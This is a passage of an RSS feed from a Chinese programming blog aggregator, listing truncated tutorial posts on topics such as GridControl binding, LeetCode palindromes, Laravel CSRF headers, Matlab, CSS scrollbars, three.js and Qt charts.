      <description>本来想写GridControl的文章，发现网上已经有系统的讲解了，直接粘过来，C博找不到转载按钮我也是醉了我。&#xA;感谢nanchuan以及nanchuan文章的原作者。我会在你们的基础上随时补充。&#xA;以下【转载】：&#xA;使用时拖拽过来，如下所示即使拖拽过来原封不动的样子：&#xA;绑定数据源 在程序中写入构建一个表格的代码：&#xA;private DataTable InitDt() { DataTable dt = new DataTable(&#34;个人简历&#34;); dt.Columns.Add(&#34;id&#34;,typeof(int)); dt.Columns.Add(&#34;name&#34;, typeof(string)); dt.Columns.Add(&#34;sex&#34;, typeof(int)); dt.Columns.Add(&#34;address&#34;, typeof(string)); dt.Columns.Add(&#34;aihao&#34;, typeof(string)); dt.Columns.Add(&#34;photo&#34;, typeof(string)); dt.Rows.Add(new object[] { 1, &#34;张三&#34;, 1, &#34;东大街6号&#34;, &#34;看书&#34;, &#34;&#34; }); dt.Rows.Add(new object[] { 1, &#34;王五&#34;, 0, &#34;西大街2号&#34;, &#34;上网,游戏&#34;, &#34;&#34; }); dt.Rows.Add(new object[] { 1, &#34;李四&#34;, 1, &#34;南大街3号&#34;, &#34;上网,逛街&#34;, &#34;&#34; }); dt.Rows.Add(new object[] { 1, &#34;钱八&#34;, 0, &#34;北大街5号&#34;, &#34;上网,逛街,看书,游戏&#34;, &#34;&#34; }); dt.Rows.Add(new object[] { 1, &#34;</description>
    </item>
    <item>
      <title>LeetCode 5. Longest Palindromic Substring 最长回文子串 Python 四种解法(Manacher 动态规划)</title>
      <link>https://bchobby.github.io/posts/9f6ebac1f3183da30e2b0f976068ecbc/</link>
      <pubDate>Sat, 06 Jan 2018 11:41:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f6ebac1f3183da30e2b0f976068ecbc/</guid>
      <description>Longest Palindromic Substring 最长回文子串 学习笔记 1. Brute method 第一种方法：直接循环求解， o(n2) class Solution: def longestPalindrome(self, s): &#34;&#34;&#34; :type s: str :rtype: str &#34;&#34;&#34; l = len(s) max_length = 0 palindromic = &#39;&#39; if len(s) == 1: return s for i in range(l): for j in range(i + 1, l): is_palindromic = True for k in range(i, int((i + j) / 2) + 1): if s[k] != s[j - k + i]: is_palindromic = False break if is_palindromic and (j - i + 1) &amp;gt; max_length: max_length = j - i + 1 palindromic = s[i:j + 1] if palindromic == &#39;&#39;: palindromic = s[0] return palindromic 2.</description>
    </item>
    <item>
      <title>ansible远程切换用户执行命令</title>
      <link>https://bchobby.github.io/posts/e0a06c55d3db96228f251153465e6462/</link>
      <pubDate>Sat, 06 Jan 2018 10:14:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0a06c55d3db96228f251153465e6462/</guid>
      <description>ansible test -l 10.0.10.1 -e &#34;ansible_become_user=www&#34; -m shell -a &#34;/data/publish/publish.sh /&#34; 转载于:https://www.cnblogs.com/mikeluwen/p/8213476.html</description>
    </item>
    <item>
      <title>一次完整的网络请求过程</title>
      <link>https://bchobby.github.io/posts/f1092a89d93f20ee4a0b7963f871673b/</link>
      <pubDate>Fri, 05 Jan 2018 16:44:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1092a89d93f20ee4a0b7963f871673b/</guid>
      <description>从地址栏输入http://www.gaxis.cn这个URL之后，直到我的个人主页加载完成，中间到底发生了什么呢？ 大概经历了以下过程： 1. 分析域名（gaxis） 2. TCP三次握手（嘿，我能连你吗？/完全OjbK啊。/那我连了啊。） 3. 建立TCP连接 4. 浏览器发起HTTP请求 5. 服务器响应请求（哇兄弟你找我了，我收拾一下给你的数据和应答码——这里可以展开讲服务器如何响应） 6. 浏览器解析html代码并请求html中的js/css/图片等资源 7. 浏览器进行页面渲染呈现给用户</description>
    </item>
    <item>
      <title>解决Laravel 5.5 header[&#39;X-CSRF-TOKEN&#39;,&#39;Authorization&#39;]请求问题</title>
      <link>https://bchobby.github.io/posts/53a25c65ff2678940880b6e8ed64b5e2/</link>
      <pubDate>Thu, 04 Jan 2018 20:58:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53a25c65ff2678940880b6e8ed64b5e2/</guid>
      <description>1、解决 &#34;CSRF-TOKEN&#34;，需要在主模板里更改：&#xA;In header&#xA;&amp;lt;meta name=&#34;csrf-token&#34; content=&#34;{{ csrf_token() }}&#34; /&amp;gt; 2、解决 &#34;X-CSRF-TOKEN&#34;，需要在主模板里更改：&#xD;In header&#xA;&amp;lt;meta name=&#34;csrf-token&#34; content=&#34;{{ csrf_token() }}&#34; /&amp;gt; In script（Ajax）&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; $.ajaxSetup({ headers: { &#39;X-CSRF-TOKEN&#39;: $(&#39;meta[name=&#34;csrf-token&#34;]&#39;).attr(&#39;content&#39;) } }); &amp;lt;/script&amp;gt; In vue2.5window.axios = require(&#39;axios&#39;);&#xD;window.axios.defaults.headers.common[&#39;X-Requested-With&#39;] = &#39;XMLHttpRequest&#39;;&#xD;let token = document.head.querySelector(&#39;meta[name=&#34;csrf-token&#34;]&#39;);&#xD;if (token) {&#xD;window.axios.defaults.headers.common[&#39;X-CSRF-TOKEN&#39;] = token.content;&#xD;} else {&#xD;console.error(&#39;CSRF token not found: https://laravel.com/docs/csrf#csrf-x-csrf-token&#39;);&#xD;}&#xD;3、如果使用Vue2.5 Axios api Token，则需要如下更改（记得在数据库中设置token值）：&#xA;In header&#xA;&amp;lt;meta name=&#34;api-token&#34; content=&#34;{{ Auth::check() ? &#39;Bearer &#39;.</description>
    </item>
    <item>
      <title>Eclipse中 sysout 按alt&#43;/不出System.out.println();</title>
      <link>https://bchobby.github.io/posts/da2c319cf4505e251067322d05213eb1/</link>
      <pubDate>Thu, 04 Jan 2018 13:57:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da2c319cf4505e251067322d05213eb1/</guid>
      <description> 需要重新设置快捷键&#xA;按快捷键ctrl+shirt+L查看发现Word Completion在用这个快捷键，Content Assist 这个设置为alt+/&#xA;1、myeclpse–&amp;gt;Preferences–&amp;gt;General–&amp;gt;Keys 删掉word completion的快捷键设置alt+/ 2、把Content Assist的快捷键由ctrl+space改成alt+/ </description>
    </item>
    <item>
      <title>matlab之.*点乘和*乘</title>
      <link>https://bchobby.github.io/posts/937659a339cab31c4523c46dbe33e574/</link>
      <pubDate>Thu, 04 Jan 2018 13:56:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/937659a339cab31c4523c46dbe33e574/</guid>
      <description>1、a*b就是矩阵乘法&#xA;2、a.*b就是a,b的对应元素相乘</description>
    </item>
    <item>
      <title>append、appendTo、appendChild、prepend</title>
      <link>https://bchobby.github.io/posts/19c1d031f3cf9a132e80735c3f3950fe/</link>
      <pubDate>Wed, 03 Jan 2018 15:38:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19c1d031f3cf9a132e80735c3f3950fe/</guid>
      <description>append、appendTo、appendChild、在父节点中的最后一个子节点后面插入。&#xA;append和appendTo区别是append的前面是对象，后面是要插入的节点对象。&#xA;比如append var wrap=document.getElementById(&#39;wrap&#39;); wrap.append(&#39;&amp;lt;p&amp;gt;111111&amp;lt;/p&amp;gt;&#39;);&#xA;而appendTo $(&#39;&amp;lt;p&amp;gt;1111&amp;lt;/p&amp;gt;&#39;).appendTo($(&#39;wrap&#39;));&#xA;appendChild 是JS方法，和append一样，插入到父节点中最后一个子节点之后。&#xA;上面的 都是在插入父元素中的子节点最后。&#xA;prepend、prependTo 上面两个的 都是在插入父元素中的子节点最前面。&#xA;after 、insertafter&#xA;上面两个的 都是在插入当前元素之后。&#xA;before 、insertbefore&#xA;上面两个的 都是在插入当前元素之前。</description>
    </item>
    <item>
      <title>Matlab之isfield函数</title>
      <link>https://bchobby.github.io/posts/6cf8bf40efac9c1cfbe4889d9100d99e/</link>
      <pubDate>Tue, 02 Jan 2018 20:37:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6cf8bf40efac9c1cfbe4889d9100d99e/</guid>
      <description> 1、函数功能：判断输入是否是结构体数组的成员&#xA;2、调用格式&#xA;f = isfield (s，&#39;fieldname&#39;)检查结构体S是否包含由fieldname指定域，如果包含，返回逻辑1；如果不包含fieldname域或者S不是结构体类型的，返回逻辑0.&#xA;tf = isfield(S, C) 其中C是一个包含多个字符串的cell array，isfield判定由这些字符串表示的域是否是struct的域。返回值是个逻辑型数组。 </description>
    </item>
    <item>
      <title>思沃大讲堂总结</title>
      <link>https://bchobby.github.io/posts/d38d42c4bf2efd87f1409e69933e392e/</link>
      <pubDate>Tue, 02 Jan 2018 17:03:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d38d42c4bf2efd87f1409e69933e392e/</guid>
      <description> 思沃大讲堂第一课总结 第一课主要从文化，敏捷方法，演讲技巧和反馈四个方面进行讲解，以下我将对这四个方面的所学所思进行总结。&#xA;文化 做正确的事情：自我驱动去做一些对公司及个人成长有益的事情。态度、能力、诚信：怀揣一颗真诚谦逊的心去工作，并从多个方面去提升自己的能力。团结互助：在自己成长的同时，也积极帮助周围小伙伴，乐于分享。公平公正：通过技术手段为慈善提供助力，贡献一份力量。全球化：全球15个管家，42间办公室，人才的流动，提供了一个全球化的视野。有趣：举办各种主题活动，给生活增添乐趣，工作更高效。 以小组为单位展现一个文化主题 敏捷方法 今年6月份有幸参加了TW的open day活动，进行了为期两天的结对编程活动，了解到TW在软件开发中非常注重敏捷开发和TDD。&#xA;随着软件开发的持续发展，瀑布流、螺旋模型、快速迭代等各种各样的软件开发流程如雨后春笋般涌现。虽然不断变化和完善，但互联网的加速发展让传统方法显得笨重，难以快速适应变化。于是，敏捷开发应运而生。&#xA;敏捷主要是为了提高项目开发的效率，减少多次打补丁。敏捷开发的宣言如下：&#xA;在我们实际做敏捷转型的过程中，左右两项通常情况下也是共存的，不过我们更重视左项。&#xA;其中，敏捷的含义是迅速响应需求，快速反馈结果。敏捷方法包括极限编程(XP)和 Scrum，它们的主要区别包括：&#xA;区别一： 迭代长度的不同 XP的一个Sprint的迭代长度大致为1~2周, 而Scrum的迭代长度一般为 2~ 4周.&#xA;区别二: 在迭代中, 是否允许修改需求&#xA;XP在一个迭代中，如果一个User Story(用户素材, 也就是一个需求)还没有实现， 则可以考虑用另外的需求将其替换， 替换的原则是需求实现的时间量是相等的。 而Scrum是不允许这样做的，一旦迭代开工会完毕, 任何需求都不允许添加进来，并有Scrum Master严格把关，不允许开发团队受到干扰&#xA;区别三: 在迭代中，User Story是否严格按照优先级别来实现 XP是务必要遵守优先级别的。 但Scrum在这点做得很灵活， 可以不按照优先级别来做，Scrum这样处理的理由是： 如果优先问题的解决者，由于其它事情耽搁，不能认领任务，那么整个进度就耽误了。 另外一个原因是，如果按优先级排序的User Story #6和#10，虽然#6优先级高，但是如果#6的实现要依赖于#10，则不得不优先做#10.&#xA;区别之四:软件的实施过程中，是否采用严格的工程方法，保证进度或者质量&#xA;这四个区别显见的是： Scrum非常突出Self-Orgnization, XP注重强有力的工程实践约束。&#xA;举个通俗理解Scrum的例子，Scrum:指的是英式橄榄球中一股脑争球这一战术或行为。&#xA;scrum 即为这样一种方式，大家一拥而上，团队是球员，球是产品目标，人员环环相扣，围绕着产品目标进行工作。这里面多少有点“统筹法”的影子，人员深入协作以达到最优化效果。&#xA;演讲技巧 从以下几个方面进行有效的表达&#xA;1.演讲要抑扬顿挫，有感染力，与听众互动。观察听众的反应，从而了解听众的接受程度，适当调节自己的演讲节奏。&#xA;2.根据听众的不同准备不同的内容，比如听众为客户，可介绍项目进行过程中克服的困难，所做的努力。若为其他项目组的技术人员，可介绍新技术实践过程中所踩的坑。&#xA;3.PPT尽可能简洁，只显示核心内容。关于ppt某一页上所呈现的东西只是一个提示的作用，更多信息需要我们讲给听众。&#xA;4.保持微笑，与听众有眼神交流。通过肢体语言拉近与听众的距离。&#xA;5.万事开头难。当我们需要做一个重要演讲时，通过蹦跳，深呼吸等方式来避免紧张。在演讲过程中，避免一些无意识的小动作。&#xA;6.讲故事。不要一味的讲一些理论上的东西，将需要表达的观点与工作，生活中的例子相结合，更通俗易懂，听众也更印象深刻。&#xA;7.通过声音传达感情。平平淡淡的叙述很容易使听众瞌睡，我们可以通过调节自己声音的高低起伏来唤醒听众的热情。&#xA;8.使用一些肢体语言。一些得体的肢体表达可使听众更容易理解我们所要表达的意思&#xA;9.放松，深呼吸，轻松的享受整个过程。 当我们演讲一会儿后，整个人的非常专注的投入到自己的演讲中，刚开始的紧张也消失不见，整个人更加轻松自如。&#xA;10.提前准备。充分的准备是演讲的关键，我们需要多查资料，多演练几遍，及时改正自我的不足，最终有一个完美的呈现。&#xA;如何进行有效的演讲 反馈 反馈是TW文化中最有特色的一个方面，通过自由平等地向周围人提意见，可促使大家共同快速进步。俗话说：“当局者迷，旁观者清”。结对编程就是反馈文化的一个投影，一个coder，一个观察者，彼此之间互相指出问题，共同高效地完成一个任务。&#xA;反馈分为有效的反馈和无效的反馈。无效的反馈是指对接受反馈的人来说无意义的反馈。我们应尽可能给出有意义的反馈，并且在私密的环境下，一次给出一到两条建议即可。根据三圈原理，行为和人的层面的反馈可以提，生理和信仰方面的反馈不能提。&#xA;在session结束后的retro环节，大家均对本次思沃大讲堂第一课的各个环节给出了自己的反馈，包括好的反馈，不好的反馈，建议三大类，然后对所有的反馈分门别类，并在solution那一栏给出对应的解决方法，并找到对应的执行人，确保它发生。这种做法非常高效，可以将它应用在我们的生活工作中，提高我们的行动力。&#xA;大家对第一期思沃大讲堂的反馈 </description>
    </item>
    <item>
      <title>Matlab之options的使用</title>
      <link>https://bchobby.github.io/posts/98451f5eafc33f64864ed5a2a0fe67b9/</link>
      <pubDate>Tue, 02 Jan 2018 15:37:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98451f5eafc33f64864ed5a2a0fe67b9/</guid>
      <description>1、Matlab提供options向量来对优化函数进行参数设置，有18个元素&#xA;2、介绍该18个元素&#xA;Options(1)=0(默认值) 功能:控制显示,优化过程中控制输出信息。0表示不显示; 1表示显示; -1表隐藏信息。 Options(2)=1e-4 功能:控制x的精度,自变量x的最低精度终止条件。当所有终止条件都满足的时候,优化终止。&#xA;Options(3)=1e-4 功能:控制 f 精度,目标函数f的最低精度终止条件。当所有终止条件都满足的时候,优化终止。&#xA;options(4)=1e-7 功能:约束g的最低精度终止判别条件。当所有的终止条件都满足的时候,优化终止。&#xA;options(5)=0 功能:选择主要优化算法。&#xA;options(6)=0 功能:SD算法控制。选择搜索方向算法。&#xA;options(7)=0 功能:搜索算法控制。选择线性搜索算法。 options(8)=N/A 功能:函数值,算法结束时极值点的函数值,attgoal和minimax而言,它包含一个到达因子。&#xA;options(9)=0 功能:梯度检查控制.当值为1时,在最初的几个迭代周期,梯度将与有限差分计算的结果比较,此时,梯度函数必须存在。 options(10)=N/A 功能:函数计算计数。&#xA;options(11)=N/A 功能:梯度计算计数。 options(12)=N/A 功能:限定计数,限定函数梯度计算或差分梯度计算的次数。&#xA;options(13)=0 功能:等式约束个数,等式约束必须放在g的前几个元素中。&#xA;options(14)=0*n 功能:最大迭代次数,该值缺省时被置为n的100倍,n为自变量x的个数,在fmins中,缺省为n的200倍,在fminu中,为500n。 options(15)=0 功能:目标数,尽可能接近goals的目标数,由函数attgoal使用.&#xA;options(16)=1e-8 功能:最小摄动控制.有限差分梯度计算中的最小变化.对函数的梯度计算而言, 实际使用的摄动将自动调整以提高精度,它将在最小摄动和最大摄动之间变化。 options(17)=0,1 有限差分梯度计算中变量的最大变化。&#xA;options(18)=N/A 功能:步长控制,在第一步迭代被赋值为1或更小。</description>
    </item>
    <item>
      <title>elasticsearch资料</title>
      <link>https://bchobby.github.io/posts/dc0b13c7d071a8272242c4e7525d700d/</link>
      <pubDate>Mon, 01 Jan 2018 18:00:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc0b13c7d071a8272242c4e7525d700d/</guid>
      <description>es先行版 https://github.com/medcl/elasticsearch-rtf 启动不了，但可以学习学习 直接下的6.1.1版本，自己配置。&#xA;head插件： http://www.cnblogs.com/xuxy03/p/6039999.html&#xA;ik分词器： https://github.com/Sevenkili/elasticsearch-analysis-ik&#xA;学习资料： http://www.cnblogs.com/aaanthony/p/7380643.html&#xA;使用Elasticsearch组件实现对word、pdf、excel、ppt等的文本内容进行全文检索。http://kms.h3c.com/View.aspx?id=51556&#xA;目前mapper-attachment插件已经被ingest-attachment所代替了，具体可见文档：https://www.elastic.co/guide/en/elasticsearch/plugins/5.6/mapper-attachments.html https://www.elastic.co/guide/en/elasticsearch/plugins/6.1/ingest-attachment.html</description>
    </item>
    <item>
      <title>spring boot 剔除和替换默认jar</title>
      <link>https://bchobby.github.io/posts/d26cf9c469e52dcff2f79576846d5ad0/</link>
      <pubDate>Sun, 31 Dec 2017 13:53:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d26cf9c469e52dcff2f79576846d5ad0/</guid>
      <description> 剔除或替换springboot 默认jar，可以下如下方式： 思路是，先根据maven pom.xml 的effective pom 知道所要剔除的jar在什么依赖下，然后使用 exclusions 剔除。&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-tomcat&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;artifactId&amp;gt;logback-classic&amp;lt;/artifactId&amp;gt; &amp;lt;groupId&amp;gt;ch.qos.logback&amp;lt;/groupId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; </description>
    </item>
    <item>
      <title>Centos7开机启动图形界面</title>
      <link>https://bchobby.github.io/posts/ef8a93d5a77c2be5db37743fe9847fbe/</link>
      <pubDate>Fri, 29 Dec 2017 18:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef8a93d5a77c2be5db37743fe9847fbe/</guid>
      <description> 用下面命令查看查看是哪个模式&#xA;# systemctl get-default 开机启动图形界面 # systemctl set-default graphical.target（图形界面模式） # reboot（重启系统） 如果想转回开机启动字符界面模式 # systemctl set-default multi-user.target（字符界面模式） # reboot（重启系统） </description>
    </item>
    <item>
      <title>CSS实现隐藏滚动条同时又可以滚动</title>
      <link>https://bchobby.github.io/posts/27fbbaa3f207bec2698fd15ff21d7bc3/</link>
      <pubDate>Fri, 29 Dec 2017 09:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27fbbaa3f207bec2698fd15ff21d7bc3/</guid>
      <description>移动端页面为了更接近原生的体验，是否可以隐藏滚动条，同时又保证页面可以滚动？&#xA;使用 overflow:hidden 隐藏滚动条，但存在的问题是：页面或元素失去了滚动的特性。&#xA;由于只需要兼容移动浏览器（Chrome 和 Safari），于是想到了自定义滚动条的伪对象选择器&#xA;::-webkit-scrollbar。&#xA;关于这个选择器的介绍可以参考：&#xA;Styling Scrollbars&#xA;Custom Scrollbars in WebKit&#xA;应用如下 CSS 可以隐藏滚动条：&#xA;.element::-webkit-scrollbar {display:none} 如果要兼容 PC 其他浏览器（IE、Firefox 等），可以在容器外面再嵌套一层 overflow:hidden 内部内容再限制尺寸和外部嵌套层一样，就变相隐藏了。&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;CSS实现隐藏滚动条同时又可以滚动&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; body{margin: 0;background: #ddd;} .header{width:100%;height: 100px;overflow-x:scroll;overflow-y:hidden;} .content{height: 100px;width: 5000px;background: linear-gradient(to right, green , blue);} .header::-webkit-scrollbar {display:none} .outer-container {width: 500px; height: 700px;position: relative;overflow: hidden;} .inner-container {height: 700px;position: absolute; left: 0;overflow-x: hidden;overflow-y: scroll;} .inner-container::-webkit-scrollbar {display: none;} .</description>
    </item>
    <item>
      <title>C语言之左移和右移运算符</title>
      <link>https://bchobby.github.io/posts/e7259a2e5ff2608d2fc7c70fc9d854cf/</link>
      <pubDate>Thu, 28 Dec 2017 12:56:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7259a2e5ff2608d2fc7c70fc9d854cf/</guid>
      <description>1、左移运算符&#xA;格式：a&amp;lt;&amp;lt;b&#xA;将a这个数的各二进制位左移b位，要求b必须是非负整数，移动过程中，右边空出的位用0填补，高位左移溢出则舍弃该高位。&#xA;举例来看：&#xA;a=5,二进制位：0000 0000 0000 0000 0000 0000 0000 0101&#xA;a&amp;lt;&amp;lt;3后结果为：0000 0000 0000 0000 0000 0000 0010 1000&#xA;即，右边空出来的三位补0，左边的0都舍弃，左右两边的三个0没有关系。&#xA;2、右移运算符&#xA;格式：a&amp;gt;&amp;gt;b&#xA;将a这个数的各二进制位右移b位，要求b必须是非负整数，移到右端的低位被舍弃。其中，①对于无符号数，高位补0;②对于有符号数，如果采用算术移位，则空出部分用符号位填补，如果采用逻辑移位，则用0填补。&#xA;举例来看：采用算数移位&#xA;a=-5,其二进制位：1111 1111 1111 1111 1111 1111 1111 1011&#xA;a&amp;gt;&amp;gt;3后的结果为：1111 1111 1111 1111 1111 1111 1111 1111&#xA;即，-5为负数，它的符号位为1，因此左边填补三个符号位1，右边011依次被移出而舍弃。&#xA;3、注意，C语言中没有无符号右移 (&amp;gt;&amp;gt;&amp;gt;)</description>
    </item>
    <item>
      <title>three.js 06-03 之 ExtrudeGeometry 高级几何体</title>
      <link>https://bchobby.github.io/posts/f96743132a3745cd30f4d5a16a633728/</link>
      <pubDate>Wed, 27 Dec 2017 17:39:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f96743132a3745cd30f4d5a16a633728/</guid>
      <description>本篇介绍 three.js 中的 ExtrudeGeometry 拉伸几何体。它是从一个二维图形创建出一个三维图形。譬如，我们可以先通过 THREE.Shap 对象，先创建一个二维的图形，然后通过 ExtrudeGeometry 将它拉伸为一个三维图形。也可以先通过 THREE.PlaneGeometry 对象创建一个二维平面，然后再利用 ExtrudeGeometry 进行拉伸。关于 ExtrudeGeometry 的几个常用属性，如下表所示：&#xA;属性描述amount（数量）可选。此属性定义图形可以拉多高。默认值是 100bevelThinkness（斜角厚度）可选。此属性定义图形斜角的厚度。斜角是指前后面和拉伸体之间的倒角。默认值是 6bevelSize（斜角尺寸）可选。此属性定义图形斜角的高度。默认值是 bevelThickness - 2bevelSegments（斜角分段数）可选。此属性定义图形斜角的分段数。默认值是 3bevelEnabled（是否启用斜角）可选。此属性定义图形是否启用斜角。默认值是 truecurveSegments（曲线分段数）可选。此属性定义图形拉伸时曲线分成多少份。默认值是 12steps（拉伸体段数）可选。此属性定义图形拉伸体被分成多少段extrudePath（拉伸路径）可选。此属性定义图形沿着什么路径拉伸。如果未指定，默认就会沿着 z 轴拉伸frames可选。此属性定义一种沿着 extrudePath 路径的每一步包含有 tangents, normals, binormals 数组的对象UVGenerator（UV生成器）可选。此属性定义一种提供UV生成器功能的对象 光看这些属性似乎不太好理解，下面我们给出一个具体示例以便帮助读者进行理解，代码如下所示： &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;示例 06.03 - ExtrudeGeometry&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../build/three.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/controls/OrbitControls.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/stats.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/dat.gui.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../jquery/jquery-3.2.1.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; body { /* 设置 margin 为 0，并且 overflow 为 hidden，来完成页面样式 */ margin: 0; overflow: hidden; } /* 统计对象的样式 */ #Stats-output { position: absolute; left: 0px; top: 0px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>图文描述VS2015&#43;Qt5.9.3使用QtChart的详细过程</title>
      <link>https://bchobby.github.io/posts/f3ddc5ed892c701b4e5b81065f3347d3/</link>
      <pubDate>Wed, 27 Dec 2017 17:16:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3ddc5ed892c701b4e5b81065f3347d3/</guid>
      <description>有关QtChart的介绍在这就不详谈了，想要具体了解的百度就可以，官网和网站大多数都是介绍如何在QtCreator中使用QtChart，而本文主要介绍如何在vs中使用。&#xA;使用工具：VS2015+Qt5.9.3&#xA;创建过程：&#xA;1、新建一个Qt的gui工程，一路next&#xA;2、打开ui文件，在designer中拖动一个widget，并提升窗口部件为QChartView&#xA;3、接下来先不要编译，因为我们还没有把QtChart的库文件包含进来，首先打开项目的属性，注意在添加包含目录的时候，要把QtCharts那个路径添加进去，这样ui文件中提升的那个头文件就不会报错&#xA;下面添加附加依赖库：&#xA;设置完了之后就可以点击确定，并进行编译，此时编译之后会出现错误，这是因为没有写命名空间：&#xA;4、那么我们在添加命名空间的时候不要在ui_xxx.h文件里面进行添加，因为这是自动生成的文件，每一次添加新的控件并编译的时候就把你添加的信息给删除掉，这时我们可以添加到刚开始新建的文件中去，见下图；&#xA;如果图中的命名空间不能用，（试过在头文件中不能用），则可以换另外一个：using namespace QtCharts;&#xA;此时，再进行编译就不会出现错误&#xA;5、然后，我们在这个cpp文件下面，写上简单的函数进行编译运行验证，见图：&#xA;自此，构建成功，谢谢！&#xA;我踩过的坑，希望大家不要再踩一遍，仔细按照上面的进行，运行不了你找我！&#xA;后续探索，有时间写...</description>
    </item>
    <item>
      <title>linux中lost&#43;found目录的作用</title>
      <link>https://bchobby.github.io/posts/4f31ed1b61abeedfb06353e34fec1998/</link>
      <pubDate>Wed, 27 Dec 2017 15:45:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f31ed1b61abeedfb06353e34fec1998/</guid>
      <description>1、该目录是使用标准的ext2/ext3档案系统格式才会产生的一个目录，目的在于当系统发生错误时，将一些遗失的片段放置在这个目录下。&#xA;这个目录通常会在分隔槽的最顶层存在。如/lost+found&#xA;2、该目录一般情况是空的。只有root用户才能打开。&#xA;3、lost+found目录的文件通常是未链接的文件，这些文件还被一些进程使用（数据没有删除）。&#xA;4、每个分区默认都有一个lost+found目录，用来存放fsck过程中部分修复的文件的。&#xA;5、inode 11,/* First non-reserved inode for old ext2 filesystems */ 即第一个非预留的inode,通常是指lost+found</description>
    </item>
    <item>
      <title>VS2017  MFC的Picture Control控件显示opencv3.3图片的方法</title>
      <link>https://bchobby.github.io/posts/e3e93d58fc430d45e8b0509df77590d4/</link>
      <pubDate>Wed, 27 Dec 2017 11:22:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3e93d58fc430d45e8b0509df77590d4/</guid>
      <description>环境：Win10 Vs2017 opencv3.3 文中涉及 MatToCImage(rgbImageL1, rgbImageL2);//OpenCV中Mat对象转MFC的CImage类的函数 见我另一篇博文OpenCV中Mat对象转MFC的CImage类的函数 http://blog.csdn.net/weixin_39449570/article/details/78901208&#xA;方法一： 下面是实现图片显示的程序，亲测可用：&#xA;int cxl, cyl; Mat rgbImageL1;//opencv图片 CImage rgbImageL2; CRect rectl, pic_rectl; int widthl, heightl; //改变图片大小适应picture控件 GetDlgItem(IDC_pl)-&amp;gt;GetClientRect(&amp;amp;pic_rectl); widthl = pic_rectl.right; heightl = pic_rectl.bottom; resize(rgbImageL, rgbImageL1, Size(widthl, heightl)); MatToCImage(rgbImageL1, rgbImageL2);//OpenCV中Mat对象转MFC的CImage类的函数（见我另一篇博文） //获取图片的宽 高度 cxl = rgbImageL2.GetWidth(); cyl = rgbImageL2.GetHeight(); //获取Picture Control控件的大小 GetDlgItem(IDC_pl)-&amp;gt;GetWindowRect(&amp;amp;rectl); //将客户区选中到控件表示的矩形区域内 ScreenToClient(&amp;amp;rectl); //窗口移动到控件表示的区域 GetDlgItem(IDC_pl)-&amp;gt;MoveWindow(rectl.left, rectl.top, cxl, cyl, TRUE); CWnd *pWnd = NULL; pWnd = GetDlgItem(IDC_pl);//获取控件句柄 pWnd-&amp;gt;GetClientRect(&amp;amp;rectl);//获取句柄指向控件区域的大小 CDC *pDc = NULL; pDc = pWnd-&amp;gt;GetDC();//获取picture的DC rgbImageL2.</description>
    </item>
    <item>
      <title>Docker 入门笔记 5  - 在Stack中部署多个service</title>
      <link>https://bchobby.github.io/posts/fc977ea83db083fac47dd4ba22e4d22d/</link>
      <pubDate>Tue, 26 Dec 2017 18:19:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc977ea83db083fac47dd4ba22e4d22d/</guid>
